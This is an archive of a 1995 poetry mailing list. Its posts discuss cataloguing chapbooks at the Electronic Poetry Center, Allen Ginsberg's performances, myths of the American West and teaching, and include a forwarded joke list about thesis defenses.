Wed 29 Mar 1995

> *This is a call for your out-of-print chapbooks / books that you might like to put in the EPC author library. Here's the scoop, the UB libraries have received authority from the US Dept. of Educ. via OCLC (a library consortium) to catalog Internet resources. We are very lucky that they are considering some of our EPC texts for full-scale cataloguing. What this means is that texts will be noted through a lot of library catalogs. SO send me a note if you are interested in this. It's a terrific opportunity!*
> *Loss*

Hi Loss, yes I'm very interested in this. Can I be naive and ask how do I get involved - I'd be keen to do two things, and they might require completely different approaches.

1. To submit a kind of selected of my own work for an author site, would include visual work, text work and sound work - sometimes all three interlinked versions under the same title.

2. To have some old chaps both by myself and others I've published - Allen Fisher, P.C.Fencott, Chris Mason and others - catalogued.

But you might be confined to U.S. authors or publishers.
Just curious, as always

If you are then in what format would I submit? Who does the formatting?

respect
cris

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455. **Gary Sullivan**
Call for submissions
Wed 29 Mar 1995

Sandra, that's a total bummer about the Journal of Communications. But, if you want to consider writing & publishing such a piece somewhere, here's an address for you:

EXILE
Curt Anderson, editor
P.O. Box 1840
St. Paul, MN 55101

Curt's always looking for material for this quarterly newsletter-style journal, & frankly, as I'm the first person he hits up for work when he (inevitably) finds he needs more material, you'd be doing me a favor writing something for it. That goes for anyone on this list, by the way. The magazine's mostly made up of book reviews & satirical pieces, but Curt wants to publish more "serious" things if he can.

Anyone interested in seeing an issue of the thing can write to the address above, or e-mail me w/your snail-mail (I've got a few extra copies of the last issue sitting around.) Subscriptions are $2.50 for 4 issues, or the equivalent in stamps.

Also, if anyone'd like their books or MANUSCRIPTS reviewed, send 'em to the same address above. (Curt's especially looking for manuscripts to review.)

Yours,

Gary

PS: Tony Green & other NZers: Worry not about us in the States hitting "delete." Of the posts over the last couple of weeks, I've most enjoyed the NZ stuff, myself. Keep 'em coming.

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456. Gary Sullivan
Ginsberg, Sorrentino
Wed 29 Mar 1995

Returned to my copy of _The Sullen Art_ to check who'd said what about Ginsberg & discovered it wasn't Rexroth but Gilbert Sorrentino who'd been talking about him. Here's the quote for anyone interested: "Allen has always annoyed me because, of all that group of so-called Beat poets, his is an outstanding intelligence, and it constantly annoys me that he allows himself to be used. Certainly not used by other poets, but by the people who have always hated poetry--the vested interests, the commercialists, the buyers and sellers. Ginsberg can talk for an hour about how he loathes _Life_, _Time_, _Fortune_, money, banking, and _Life_ and _Time_ will spread-eagle him on the wall with his own words. His words don't have the power to destroy _Life_ and _Time_. That's why he gets so much space in them and one of the reasons he is so used by them. He's not an enemy of _Life_ and _Time_--he *is* an enemy in his own heart, as every poet must be--but they're not afraid of him and they make the fool of him. "It's very peculiar. It's a reversion to Romanticism. It's the Romantic scream against the watered-down principles of Locke, which controlled the 19th century. As the Romantics screamed against Locke, they made Locke righter. The more they said 'Down With Locke,' in so many different ways: 'I fall upon the thorns of life, I bleed,' et cetera, the more they continually made Locke seem right. Locke was wrong. But they didn't prove it so. He said, or was taken to have said, when his philosophy was watered down a hundred years later, as philosophies always are for the people, 'Poetry is junk--evanescent, something to curl up with on a winter's evening. It has nothing to do with life.' The old cry of the businessman. So the Romantics said, 'That's right, Locke, you bet it is.' And they just kept screaming about the wild blue yonder. It wasn't until the 19th century Frenchmen that poetry once again became what it is--something having to do directly with life, something that can be used to control your life, something that can be used to make your life a better thing. They got back to the concrete, they got back to the world that Locke accused them of rejecting." Don't know how much I agree w/the above, especially as I was born after the interview took place so don't know what, specifically, was going on re: _Life_ and _Time_ and Ginsberg's words being "used against him." Would welcome elaboration or repudiation of what Sorrentino says by anyone who was there at the time. Yours, Gary

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457. **Kit Robinson**
West
Wed 29 Mar 1995

Reply to: West
Pardners,
Don't forget Clear the Range, a western novel by Ted Berrigan, written using the cross-out method on a dime paperback. It's hilarious, stately, and strange. Like Bill Luoma's campfire songs, it says something about formality, loneliness, and wide open space, key elements of the western ethos. Berrigan also speaks often of The Code of the West in his Sonnets.

For a contemporary working out of neighboring thematics, check out Merrill Gilfillan's Sworn Before Cranes (Faber & Faber1994). It's a beautiful book of short stories set on the High Plains mostly among Indian people the author has known or visited.

See you round the ridges,
Kit Robinson

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458. **eric pape**
Re: Thanx pardner
Wed 29 Mar 1995

I too feel a kind of personal stake in both the mythicizing (word?) and de-mythicizing of the American west. Up 'till my great grandmother died a few years ago, I heard much of the journey west, but more of what happened once they settled in the California desert. What's interesting for me is that most of these stories fit fairly comfortable within the myth. Hardship overcome and all that. But there have always been disturbing hints of things that might not fit, at least to my family. Hints about family being hung somewhere, a picture of an old man dated 1878 with something scrawled on the back that may be "almost hung," plus a lot of hints about major drinking problems. Further and most disturbing to my grandmother, were thehints of racial mixing. Before GG died, she used to tell stories about being ostracized in her community. When my mother asked why she replied that she was Indian, but no one else in the family talks about this, and most of us are blonde and blue eyed. Also, once when I showed my great uncle a picture of my great great grandmother, his mother, he chuckled and said (please excuse the language but I am only

quoting) "nigger in the wood pile."Hints betray both attitude and uncertainty. My point isthat I think there is a reason for a lot of this mythmaking, a lot of the tall tales, and that is to disguise. Disguise exactly what is not the myth: the crimes, the banality. The everyday nature of the murder of native Americans and Chinese, and Mexican Americans, certainly in CA, where it was probably the worst in the country.In my family, the myth certainly had this function.Diguise that the West is still a secret. Two books I would recommend :Richard Drinnon's _Facing West:The Metaphysics of Indian-Hating and Empire Building_(Meridian, 1980) and Lillian Schlissel _Women's Diaries of the Westward Journey_ (Schocken, 1992) Drinnon's seems a little obvious now, but still interesting, the Diaries are incredible. Thanks, Eric.

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459. Tim Waples

Re: Ginsberg's "Don't Smoke"

Wed 29 Mar 1995

According to Ron Silliman:
>
> Ginsberg is perpetually confronted with reading to
> large audiences that have very little knowledge of his genre, his
> generation, his anything. His performance works of the past 15 years or
> so seem to me to address precisely that conundrum. They don't work on
> the page at all, but they aren't really intended to. The Don't Smoke
> piece (don't even know if this is in print) is a terrific piece of
> theater, which is really what it is.
>

Ron and others,

I'm enjoying this thread immensely. And I think Don't Smoke -- the real name is "Put Down Yr Cigarette Rag" -- is superb. I believe it's a great way to introduce Ginsberg to students, bringing in political concerns and improv/open field type ideas at once. Even the frat boys in their baseball caps look impressed...
The text is printed in _First Blues_ (Full Court Press, 1975). I haven't sprung for the CD box set yet, but I do know you can get the performance on cassette from the Smithsonian's Folkways series. Call [redacted] to order or for free Folkways catalog.

Tim Waples
[redacted]

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460. **eric pape**
Re: Who teach?
Wed 29 Mar 1995

Absolutely Tony. Basically all I was saying is that indoctrination is "gross." But I like what you've done with this kind of triadic structure of the classroom (at least as I see it). You've got a text, which is assumed to be known, you've got a teacher which is assumed to be knowing, and you've got a student which is assumed to be unknowing. It's basically an analytical situation of the early Freud years (funny how that works), ie, ucs, analyst, analysand. The problem with this in the classroom is that it is static (and here we are talking about a worst case kind of thing). There seems little room for interaction, and above all for resistance (of the text of the master of the student). It's so darn structural! This is what I think we have to get rid of, perhaps by team teaching, perhaps by more radical methods. It seems to me that to be a teacher means always to be a student of the resistance of the text to interpretation and of the student to indoctrination, and of above of our own resistances to the fact that we aren't masters of the material and that the material cannot be mastered. Thanks, Eric.

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461. **Alan Golding**
Arthur Godfrey, Allen Ginsberg
Wed 29 Mar 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Ron:

Maybe your associations re Allen Ginsberg aren't so loose. Just this past semester a student in my contemporary poetry seminar wrote a paper on Ginsberg and Lenny Bruce as urban Jewish performance poet satirists . . .

Alan

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462. **Tony Green**
Re: Chapbooks at EPC
Wed 29 Mar 1995

Ditto to some of Chris Cheek's qs -- + correct snail-mail address Thanks

Tony Green,
e-mail: [redacted]

post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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463. Tony Green
Re: Thanx pardner
Wed 29 Mar 1995

Dear Eric, An NZ equivalent cd be the stories of Spanish ancestry going back to the Spanish Armada of 1588, accounting for dark eyes and colouring among Anglo-Scottish families. One woman that I know who has a Maori grandmother said that that was the story in her family for a long time. My wife's family maintain the same story about themselves, which leads to, as you say, a kind of interesting "uncertainty"....

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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464. Loss Glazier
Re: Chapbooks at EPC
Wed 29 Mar 1995

Cris,

I am responding to you via the list since it is an important question. I have gotten a number of questions personally on this but I do want to explain this somewhat more.

Basically, I am a poet and writer, etc. but I have worked for years now in this world of the library. As one might note from my book, _Small Press: An Annotated Guide_, a lot of my effort has been getting the "marginal" into routes that facilitate people connecting with what I would think we might agree are important works.

Here then, the "rub." That is, this is an unprecedented opportunity. This OCLC project I have mentioned is not only one of the FIRST efforts at making etexts available through library catalogs - as well as world-wide interlibrary loan systems - but it is incredible that we have been able to negotiate the presence of POETRY in this important project.

I have worked very hard for this and I think this is a historic moment, we are seeing a possibility for poetry to be made accessible to many many thousands of people.

OK, more coming further in this post...

> *This is a call for your out-of-print chapbooks / books that you might like to put in the EPC author library. Here's the scoop, the UB libraries have received authority from the US Dept. of Educ. via OCLC (a library consortium) to catalog Internet resources. We are very lucky that they are considering some of our EPC texts for full-scale cataloguing. What this means is that texts will be noted through a lot of library catalogs. SO send me a note if you are interested in this. It's a terrific opportunity!*
>
> *Hi Loss, yes I'm very interested in this. Can I be naive and ask how do I get involved - I'd be keen to do two things, and they might require completely different approaches.*
>
> *1. To submit a kind of selected of my own work for an author site, would include visual work, text work and sound work - sometimes all three interlinked versions under the same title.*
>
> *2. To have some old chaps both by myself and others I've published - Allen Fisher, P.C.Fencott, Chris Mason and others - catalogued.*
>
> *But you might be confined to U.S. authors or publishers.*
> *Just curious, as always*
>
> *If you are then in what format would I submit? Who does the formatting?*

1. There are NO restrictions as to nationality, etc. This is not an "American" thing.

2. I would prefer texts marked up in html but will accept ascii submissions. I would feel even better if you are committed to converting the ascii texts to html; I would of course provide advice and direction.

3. You may conceive of texts - selected, collected, an individual series - however you wish. This is simply like publishing a chapbook. It could be any permutation of your complete work as you see suits your work. (In this regard it is perfect - make your piece and we present it to the world.)

4. Multimedia formats are NO problem. If you are in this situation I will work this out with you individually. You will need to use html though, to present these works. Graphical files must be .gif files. Sound files must be .au (unix format) though I am working endlessly to mount a program here that will convert, so that you may submit these sound files in other formats.

Note: Ken and I ENCOURAGE multimedia gigs. In fact, that is the strenght of the Internet, no?

5. Yes, you may submit work by other authors as long as you have permission.

OK - let's make it happen!

All best to all on the list,

Loss
for Loss Pequen~o Glazier and Kenneth Sherwood
in collaboration with Charles Bernstein

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465. **Tony Green**
Re: Who teach?
Wed 29 Mar 1995

Eric, assuming in the classroom and out that students know in the sense of are responsive as teachers are is not difficult to do. It's hard to find any evidence for a contrary assumption. What students are unlikely to be able to do is locate a "text" (or "image") within the always ongoing process of criticism/evaluation/history of that "text". Cross-referencing opens the "text" to renewed attention, in which students are often great contributors. Yesterday (anecdote, anecdote....) Anna Tam asks why -- in tutorial after lecture -- the boys (attendants of Flora in a Triumph of Flora have black wings, what is that on the ground, a head?) and the rest of the group climb in. Best thing is I hadn't thought about that (is there an explanatory text somewhere a la Panofsky?) and the current literature doesn't cover it, so this opens questions, and Anna is off to try to make sense of this herself. (If only I weren't so caught up in other classes to-day on something else altogether....) Describing pictures (for M.A.) students has got around to describing a particular small brick wall (prize of $5 for the "best") this week. The bit I put in was a reading of Pound's Agassiz story (ABC of Reading)-- the fish + discussion on last week's descriptions.... Fine, until someone starts to worry about quantities of information (communication of messages) in the class. Isn't that where the authoritarian structuring of classes has a firm hold; or in the demands for execution of specified form-filling exercises, with the expectation of fulfilling discipline norms established in advance, getting the right answers in one shape

or another. But just in case I sound smug in any way, let me also say, woken by thunder and sounds of heavy rain on the roof, I had trouble getting back to sleep last night, thinking of all the places I'd gone wrong in yesterday's teaching. Got to go and check out the Seven Acts of Mercy: last week in class I couldn't recite them, apropos Caravaggio's painting. The tutorial class concerned is meant to come up with the answer today. Funnily enough, one of them could do the Seven Dwarfs, and another did Santa's reindeers, and I could do the Seven Sacraments, but that's another tale.
Best

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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466. Gary Sullivan
thesis humor? ha, ha (fwd)
Wed 29 Mar 1995

Teachers, students, grads:

Thought some of you might enjoy this...

---------- Forwarded message ----------
Date: Wed, 29 Mar 1995 11:18:50 -0600 (CST)
From: Tommy S Kim <[redacted]>
To: [redacted]
Subject: thesis humor? ha, ha

something i received from a friend. thought i'd share since, as Barney says, sharing is caring.

> *148 THINGS (NOT) TO DO OR SAY AT OR FOR YOUR THESIS DEFENSE*
>
> *Written by Master Peter Dutton*
> *contributions by Jim Lalopoulos, Alison Berube, and Jeff Cohen, Patricia Whitson and a few others.*
>
> *1) "Ladies and Gentlemen, please rise for the singing of our National Anthem..."*
> *2) Charge 25 cents a cup for coffee.*

3) "Charge the mound" when a professor beans you with a high fast question.
4) Describe parts of your thesis using interpretive dance.
5) "Musical accompaniment provided by..."
6) Stage your own death/suicide.
7) Lead the specators in a Wave.
8) Have a sing-a-long.
9) "You call THAT a question? How the hell did they make you a professor?"
10) "Ladies and Gentlemen, as I dim the lights, please hold hands and concentrate so that we may channel the spirit of Lord Kelvin..."
11) Have bodyguards outside the room to "discourage" certain professors from sitting in.
12) Puppet show.
13) Group prayer.
14) Animal sacrifice to the god of the Underworld.
15) Sell T-shirts to recoup the cost of copying, binding, etc.
16) "I'm sorry, I can't hear you - there's a banana in my ear!"
17) Imitate Groucho Marx.
18) Mime.
19) Hold a Tupperware party.
20) Have a bikini-clad model be in charge of changing the overheads.
21) "Everybody rhumba!!"
22) "And it would have worked if it weren't for those meddling kids..."
23) Charge a cover and check for ID.
24) "In protest of our government's systematic and brutal opression of minorities..."
25) "Anybody else as drunk as I am?"
26) Smoke machines, dramatic lighting, pyrotechnics...
27) Use a Super Soaker to point at people.
28) Surreptitioulsy fill the room with laughing gas.
29) Door prizes and a raffle.
30) "Please phrase your question in the form of an answer..."
31) "And now, a word from our sponsor..."
32) Present your entire talk in iambic pentameter.
33) Whine piteously, beg, cry...
34) Switch halfway through your talk to Pig Latin. Or Finnish Pig Latin.
35) The Emperor's New Slides ("only fools can't see the writing...")
36) Table dance (you or an exotic dancer).
37) Fashion show.
38) "Yo, a smooth shout out to my homies..."
39) "I'd like to thank the Academy..."
40) Minstrel show (blackface, etc.).
41) Previews, cartoons, and the Jimmy Fund.
42) Pass the collection basket.
43) Two-drink minimum.
44) Black tie only.
45) "Which reminds me of a story - A Black guy, a Chinese guy, and a Jew walked into a bar..."
46) Incite a revolt.

47) Hire the Goodyear Blimp to circle the building.
48) Release a flock of doves.
49) Defense by proxy.
50) "And now a reading from the Book of Mormon..."
51) Leave Jehovah's Witness pamphlets scattered about.
52) "There will be a short quiz after my presentation..."
53) "Professor Robinson, will you marry me?"
54) Bring your pet boa.
55) Tell ghost stories.
56) Do a "show and tell".
57) Food fight.
58) Challenge a professor to a duel. Slapping him with a glove is optional.
59) Halftime show.
60) "Duck, duck, duck, duck... GOOSE!"
61) "OK - which one of you farted?"
62) Rimshot.
63) Sell those big foam "We're number #1 (sic)" hands.
64) Pass out souvenier matchbooks.
65) 3-ring defense.
66) "Tag - you're it!"
67) Circulate a vicious rumor that the Dead will be opening, making sure that it gets on the radio stations, and escape during all the commotion.
68) Post signs: "Due to a computer error at the Registrar's Office, the original room is not available, and the defense has been relocated to (Made-up non-existent room number)"
69) Hang a pinata over the table and have a strolling mariachi band.
70) Make each professor remove an item of clothing for each question he asks.
71) Rent a billboard on the highway proclaiming "Thanks for passing me Professors X,Y, and Z" - BEFORE your defense happens.
72) Have a make-your-own-sundae table during the defense.
73) Make committee members wear silly hats.
74) Simulate your experiment with a virtual reality system for the spectators.
75) Do a soft-shoe routine.
76) Throw a masquerade defense, complete with bobbing for apples and pin-the-tail-on-the-donkey.
77) Use a Greek Chorus to highlight important points.
78) "The responsorial psalm can be found on page 124 of the thesis..."
79) Tap dance.
80) Vaudeville.
81) "I'm sorry Professor Smith, I didn't say 'SIMON SAYS any questions?'. You're out."
82) Flex and show off those massive pecs.
83) Dress in top hat and tails.
84) Hold a pre-defense pep rally, complete with cheerleaders, pep band, and a bonfire.
85) Detonate a small nuclear device in the room. Or threaten to.
86) Shadow puppets.

87) Show slides of your last vacation.
88) Put your overheads on a film strip. Designate a professor to be in charge of turning the strip when the tape recording beeps.
89) Same as #88, but instead of a tape recorder, go around the room making a different person read the pre-written text for each picture.
90) "OK, everybody - heads down on the desk until you show me you can behave."
91) Call your advisor "sweetie".
92) Have everyone pose for a group photo.
93) Instant replay.
94) Laugh maniacally.
95) Talk with your mouth full.
96) Start speaking in tongues.
97) Explode.
98) Implode.
99) Spontaneously combust.
100) Answer every question with a question.
101) Moon everyone in the room after you are done.
102) "Laugh, will you? Well, they laughed at Galileo, they laughed at Einstein..."
103) Hand out 3-D glasses.
104) "I'm rubber, you're glue..."
105) Go into labor (especially for men).
106) Give your entire speech in a "Marvin Martian" accent.
107) "I don't know - I didn't write this."
108) Before your defense, build trapdoors underneath all the seats.
109) Swing in through the window, yelling a la Tarzan.
110) Lock the department head and his secretary out of the defense room. And the coffee lounge, the department office, the copy room, and the mail room. Heck, lock them out of the building. And refuse to sell them stamps.
111) Roll credits at the end. Include a "key grip", and a "best boy".
112) Hang a disco ball in the center of the room. John Travolta pose optional.
113) Invite the homeless.
114) "I could answer that, but then I'd have to kill you"
115) Hide.
116) Get a friend to ask the first question. Draw a blank-loaded gun and "shoot" him. Have him make a great scene of dying (fake blood helps). Turn to the stunned audience and ask "any other wise-ass remarks?"
117) Same as #116, except use real bullets.
118) "Well, I saw it on the internet, so I figured it might be a good idea..."
119) Wear clown makeup, a clown wig, clown shoes, and a clown nose. And nothing else.
120) Use the words "marginalized", "empowerment", and "patriarchy".
121) Play Thesis Mad Libs.
122) Try to use normal printed paper on the overhead projector.
123) Do your entire defense operatically.
124) Invite your parents. Especially if they are fond of fawning over you. ("We always knew he was such an intelligent child")

> *125) Flash "APPLAUSE" and "LAUGHTER" signs.*
> *126) Mosh pit.*
> *127) Have cheerleaders. ("Gimme an 'A'!!")*
> *128) Bring Howard Cosell out of retirement to do color commentary.*
> *129) "I say Hallelujah, brothers and sisters!"*
> *130) Claim political asylum.*
> *131) Traffic reports every 10 minutes on the 1's.*
> *132) Introduce the "Eyewitness Thesis Team". Near the end of your talk, cut to Jim with sports and Alison with the weather.*
> *133) Live radio and TV coverage.*
> *134) Hang a sign that says "Thank you for not asking questions"*
> *135) Bring a microphone. Point it at the questioner, talk-show style.*
> *136) Use a TelePromTer*
> *137) "Take my wife - please!"*
> *138) Refuse to answer questions unless they phrase the question as a limerick.*
> *139) Have everyone bring wine glasses. When they clink the glasses with a spoon, you have to kiss your thesis. Or your advisor.*
> *140) Offer a toast.*
> *141) Firewalk.*
> *142) Start giving your presentation 15 minutes early.*
> *143) Play drinking thesis games. Drink for each overhead. Drink for each question. Chug for each awkward pause. This goes for the audience as well.*
> *144) Swoop in with a cape and tights, Superman style.*
> *145) "By the power of Greyskull..."*
> *146) Use any past or present Saturday Night Live catchphrase. Not.*
> *147) Stand on the table.*
> *148) "You think this defense was bad? Let me read this list to show you what I COULD have done..."*
>
> *--*
> *Selected by Maddi Hausmann Sojourner with Brad Templeton. MAIL your joke (jokes ONLY) to [redacted]. If you see a problem with an RHF posting, reply to the poster please, not to us. Ask the poster to forward comments back to us if this is necessary.*

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467. **Lindz Williamson**
Grandma
Wed 29 Mar 1995

Eric,

Your personal insight was very helpful. I wish that I had the living sources to discuss the westwad crawl of my relaives, unfortunatly all i have is a family tree. I found a rather intriguing poem in the Utne Reader regarding American myth and I'd like to share it with everyone ,I hope I'm allowed to do this.

Lindz

For Edna and Mildred

Mourning the dying American female names

In the Altha Diner on the Florida panhandle
a stocky white-haired woman
with a plastic nameplate "Mildred"
gently turns my burger, and I fall into grief.
I remember the long, hot drives to North Carolina
to visit my Aunt Alma, who put up quarts of peaches,
and my grandmother Gladys with her peirced quilts
Many names are almost gone:Gertrude, Myrtle,
agnes, Bernice, Hortense, Edna, Doris, and Hilda.
They were wide women, cotton clothed, early rising.
You had to move your mouth to say their names,
and they meant strength, spear, battle, and victory.
When did women stop being Saxons and Goths?
What frog Fate turned them into Alison, Melissa,
Valerie, Natalie,Adreinne, and Lucinda,
diminshed them to Wendy, Cindy, Suzy, and Vicky?
I look at these young women
and hope they are headed for the presidnecy,
but I fear America has other plans in mind,
that they be no longer at war
but subdued instead in amorphous corporate work,
somebodies assistant, something ina bank,
single parent with word processing skills.
They must have been made French
so they could be cheap foriegn labor.

-Hunt Hawkins 1994

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468. **Loss Glazier**
Re: Chapbooks at EPC
Wed 29 Mar 1995

> *Ditto to some of Chris Cheek's qs -- + correct snail-mail address*

Electronic Poetry Center
PO Box 143
Getzville, NY 14068-0143
USA

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469. **Tony Green**
re Letter to the Editor (Longish)
Wed 29 Mar 1995

P.S.for John Geraets: " her/axolotl "is in Climate no:30 edited by Alistair Paterson Spring 1979 This was a continuation (kind of) Bert Hingley's magazine MATE, which in early 70's published young Wystan Curnow on his return from the Americas. I used to read anywhere I could get anything like an ear to read into, hence I also got published by the Titirangi Poets, in 1979 and 1980 a poetry society, that for a short while harboured some unlikely people... (Chris Moisa, Michele & Davina Paterson, Judi Stout, Christian Martin)Ron Riddell at one time the moving force in this, brother of Alistair, you remember Space Waltz. That's all at a level below the magazine mainstream. I stopeed when I realised the responses I was getting were not altogether pleasant from the middle of this, tho the peripheral characters were ok.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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470. **Wystan Curnow**
Re: To Sandra & Wystan
Wed 29 Mar 1995

Dear Gary, I don't know anything about G. hitting on young people and sexual harassment or any stuff like that. And it seems a ways away from what I was trying to describe which had to do with performance and audience crossover (hi-to-lo, lo-to-high). I brought it up because ' be more popular' is easier said than done, so what are the conditions for doing, and the measures for success? And actually I looked at the tape again--isn't Bukowski an embarassment? And Ed Sanders's great, and that Kenward Elmslie!!--and the G. clip is fine by me, I think he gets it about right. I found Ron Silliman's comments relevant to the question of conditions. That is, 'popular' means young in the contexts he has in mind. Gotta go now. Wystan.

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471. **cris cheek**
Responsibility
Thu 30 Mar 1995

Hi Ed, sometimes I wish I had a 3 line limitation. You didn't get anything back from me because I didn't know how to respond to your question. Sometime I feel trapped in an e-mail responsibility of my own darned making. There aren't enough hours in the day and night free to answer and sort and simply digest all the mail. I wasn't sure whether your post was a question 'requiring' an answer or a statement couched in rhetorical terms. And so the issue of response enters this reply right away. Weasels of worlds!

> *responsibility's become "i respond even if you do*
> *n't ask," which is arrogance, it may be, of teacher, poet, etc. who is (yr*
> *sense) responsible.*

I kind of reversed your approach. That is you asked and I didn't respond. It does seem difficult to understand how it can possibly work the other around though. Or am I being typically pedantic? You can see I'm floundering into trying to make a 'proper' response. To think this through.

I want to ask some questions. In the context of a listserv such as this (let's take a trial example that 'might' travel -) is it ok to say that anything posted to Multiple recipients can be responded to. It might well be Eric and Maria and Kali and Tony are discussing a subject but that discussion is posted 'out in the open'. If you and anybody else wanted to comment under that subject heading or break into it to ask a question or beg to disagree - no problem. Yes? Your response hasn't been asked for but you made one. You still had the ability and by responding you kept that ability engaged. Equally your 'response' might be ignored.

Extend that example to conversation. (remember the hit and miss aspects of communication - informational content, misunderstanding, tone, deliberate misreading, diverse personalised interpretation, adoptions of persona and many many others . . . call for submissions) Extend that to education. Current discussions on education seems focussed onto institutional forms - hell! When I left school I set out to learn something - particularly when it came to poetry. Please don't let this board become a counselling lounge for academics! (sorry everyone - myself included) Otherwise - shit I just got deleted!

Now one problem lies in many subscribers (and some have identified themselves as such, including myself) wanting to respond to many more posts than they in fact 'allow' themselves to do. But that is not a withholding of the ability to respond, it is if anything a keening of it. (there's a fun double edge there) And I'm aware this heads back into discussions re list

overload - lurker and poster, representation of diversity of opinion and constituency and so on. And also discussions re - speed of response (gender / reflection / compositional preference / one-up/man/ship and so on). This listserv as a visit to The Boffin Shop.

Which points up one other feature becoming apparent - being the similarity between the public front of the list as a performance space and the familiarity traits of Improvised music becoming more etiquette bound and running to 'similar' boundaries in majority cases. (examine for a moment the mechanics of statement / response / variation / negation and other) A point raised by Ira a couple of months back and left on the ground where its nose dropped. Subjects appear to come around in, albeit buckled, cycles - partly as new subscribers jump on. Partly as variations concur.

It still seems to me that this can become still more of a LIVE space (not as in MOO). Sufficiently subtle and sensitive and robust as to be able to respond to the varied needs of its subscribers. If this listserv is an e-mergent community then issues of responsibility should be discussed.

Call M-e I-r-r-e-s-p-o-n-s-i-b-l-e

then call me e-mail (I can't help it)
cris

p.s. I'm pretty sure I still haven't answered your qeustion

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472. **Tom White**
Memory Play
Thu 30 Mar 1995

In regard to the discussion on MEMORY PLAY, this text by Carla Harryman is available from O Books at $8.50 (plus $2.00 postage): 5729 Clover Drive, Oakland CA 94618. It is also available from Small Press Distribution in Berkeley, 1814 San Pablo Avenue, CA 94702. What's more, Steve Benson says MEMORY PLAY is "in idiosyncratic motion and congruence much as clouds and birds in flight make sense to that visionary in you ... looking back at its patterns and wondering thru it." Experience the marvels of this text. Not only that, but we have others: recently, MOB by Abigail Child, $9.50; GROUND AIR by Scott Bentley, $6.00; CURVE by Andrew Levy, $10.00; COLLISION CENTER by Randall Potts, $8.50. Forthcoming is Alice Notley's CLOSE TO ME AND CLOSER ... (THE LANGUAGE OF HEAVEN), $10.50; P. Inman's VEL, $8.00; and a first book that's really incredible by John Crouse: LAPSES, $8.00.

O Books

I received the mail address and the e-mail address of the review magazine TAP ROOT, but unfortunately I lost this information. Could you post this again? Thanks.

Tom White
Phone: [redacted]
Fax: [redacted]

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473. Gary Sullivan
To Wystan, more Ginsberg
Thu 30 Mar 1995

Dear Wystan: I totally, totally appreciate your--& others--going to bat for Ginsberg; I'm well aware I'm expressing (very) personal taste here, & have learned a thing or two from what you & others on this list've said about how they see his work. Maybe "learned..." is the wrong way to put it: more accurately, you all've offered different ways of looking at what he does, different approaches, for which I'm most grateful. "Ginsberg as Bruce-like satirist," for instance, is something I can definitely appreciate, really adds to my sense of the value of his work. Even of _Howl_--I've got two different recordings of him reading that: one, an early recording, he's very nervous, reading quickly, the work sounding, as read, completely angry & serious; the second a later reading (at Naropa, I think, late '70s, early '80s), he's more laid-back, allowing the humor to come through--almost as though these are two different poems! Wonderful, wonderful to have these, a great reminder for me how easy it is to "pigeonhole" anything, & how wrong that is. G.'s playing the wolf on occasion probably has nothing to do with what you were saying; it does have something to do with how I was reading what you were saying, particularly that wonderful line of yours re: "embarrassment." I read that as including *all* public behavior (G. being a very public figure), & so included instances wherein my sense of his freewheeling public behavior would seem to have destructive/harmful effects. Because I'd read what you'd said earlier as a kind of "Ginsberg as anti-uptight role-model" endorsement (& I'm in agreement w/you about that!), that's why I'd brought up these instances. You say you know nothing about G.'s hitting on young people--well, I happen to know about that; the guy hit on one of my best friends, & I've heard about similar experiences w/a number of other younger poets. I can't erase these instances from my memory; they linger & when people endorse, wholesale, his freewheeling spirit, these instances serve for me as somewhat cautionary reminders. "In dreams begin responsibility," as the saying goes. But, geez, I certainly don't mean to dismiss the guy; his work means a lot to me. &, sure, Bukowski's "writing = taking a dump" on that tape is a ridiculous cliche', forgettable. Elmslie's

performance had me rolling on the floor w/laughter--the effect (or one of the effects) he no doubt wanted. Sanders has a lovely & hilarious bit in his novel _Fame & Love in New York_ about the need to constantly be *inventing* things, starting new projects--his "finger" synthesizer, & tie-keyboard being real- world examples of that. (I never know how "seriously"--at face value, I mean--to take what he does, his having edited _Fuck You: A Magazine of the Arts_.) (A fairly serious journal actually, despite what the title might lead one to assume.) Anyway, I'd never, never write off Ginsberg as a poet or performer, even though I'm not as interested in everything he does, or am not always convinced his motivation's pure. I wonder, for instance, at his GAP khaki's ad--which you may or may not have seen in NZ. (They appeared here in the States in magazines like _The New Yorker_ and _Interview_.) When Ginsberg sells his image to corporate interests--when *anyone* does that (William Burroughs sold his image to Nike shoes for a TV commercial!), I have to wonder about "motivation." Ginsberg & Burroughs both seem, in their writing, to be thoroughly "anti-corporate." So, what gives? I was living in the Haight-Ashbery district in San Francisco when the GAP opened one of its stores, right there on Haight Street, & my memory was that there was some local resistance--including posting of anti-GAP/corporate interest flyers & the like. So, some of what Ginsberg does doesn't jive w/me, has me "questioning," is what I'm--finally--saying, I guess. When I read that Sonic Youth (my favorite rock & roll band, notorious for their recording *right over* a recording of Madonna on their _Ciccone Youth_ l.p.) had done a GAP ad, too, it absolutely depressed me; colored--which isn't to say completely "destroyed"--my appreciation of their work. In the PR kit I received w/Ginsberg's latest book, _Cosmopolitan Greetings_ (which includes a reprint of that anti-smoking rag, btw), his publicist was actually *bragging* about the GAP ad, suggesting it as being indicative of the "complexity" of Ginsberg's character. Well, my take was simply that it was a mistake for him to've done that, not something I'd feel comfortable endorsing. Can't imagine Lenny Bruce appearing in an ad for the GAP, I guess. (Though, God knows, maybe he did appear in an ad or two for something, or would've, if he'd've lived long enough.) (At any rate, the GAP has undoubtedly bought the rights to his image, & plan to use it, if they've not already--corporate interests will get their slimy hands on us one way or the other. Ah, well.)

Yours,

Gary "Windbag, Nonsenso's sister's son" Sullivan

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474. **Tony Green**
Re: Chapbooks at EPC
Thu 30 Mar 1995

> *Ditto to some of Chris Cheek's qs -- + correct snail-mail address*

Thanks, reading you loud and clear.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
